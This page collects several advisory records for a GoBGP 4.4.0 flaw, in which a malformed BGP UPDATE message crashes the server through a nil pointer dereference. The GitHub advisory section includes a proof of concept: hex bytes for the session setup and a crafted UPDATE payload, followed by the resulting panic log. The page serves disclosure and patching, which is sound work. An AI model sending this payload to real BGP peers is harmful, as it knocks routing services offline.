GoBGP: Panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.

Source published

7 May 2026 11:53:14 UTC

Source modified

7 May 2026 13:04:56 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.

Source published

May 7, 2026, 11:53:14 AM (timezone not stated)

Source modified

May 7, 2026, 1:04:56 PM (timezone not stated)

Observed here

1 Nov 2026 07:12:54 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.

Source published

7 May 2026 12:16:18 UTC

Source modified

26 Oct 2026 22:10:00 UTC

Observed here

27 Oct 2026 11:12:01 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary Remote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing An unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. ### Details The vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management. Triggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., "attribute value length is short"), GoBGP logs a warning: the received Update message was treated as withdraw. Code Path: The message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate. Due to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil. The execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update. The Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure. Log Snippet: ``` {"time":"2026-04-21T12:43:10.009107962+08:00","level":"WARN","msg":"the received Update message was treated as withdraw","Topic":"Peer","Key":"192.168.31.195","State":"BGP_FSM_ESTABLISHED","Error":"attribute value length is short"} panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8] goroutine 52 [running]: github.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?}) /home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8 github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900) /home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4 github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900) /home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6 github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?) /home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25 github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?) /home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82 created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37 /home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5 ``` ### PoC ``` [SEND] OPEN Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00 [RECV] Type: 1 | Length: 77 Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02 [+] Received OPEN from peer [SEND] KEEPALIVE Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04 [RECV] Type: 4 | Length: 19 Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04 [+] BGP Session Established [SEND] Crafted UPDATE Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00 [*] Waiting for peer reaction... [+] Done. ``` ### Impact Remote Denial of Service (DoS) in GoBGP v4.4.0

Source published

5 May 2026 20:57:14 UTC

Source modified

24 Jul 2026 19:11:31 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference) in github.com/osrg/gobgp

Source published

24 Jul 2026 18:35:55 UTC

Source modified

24 Jul 2026 19:00:24 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.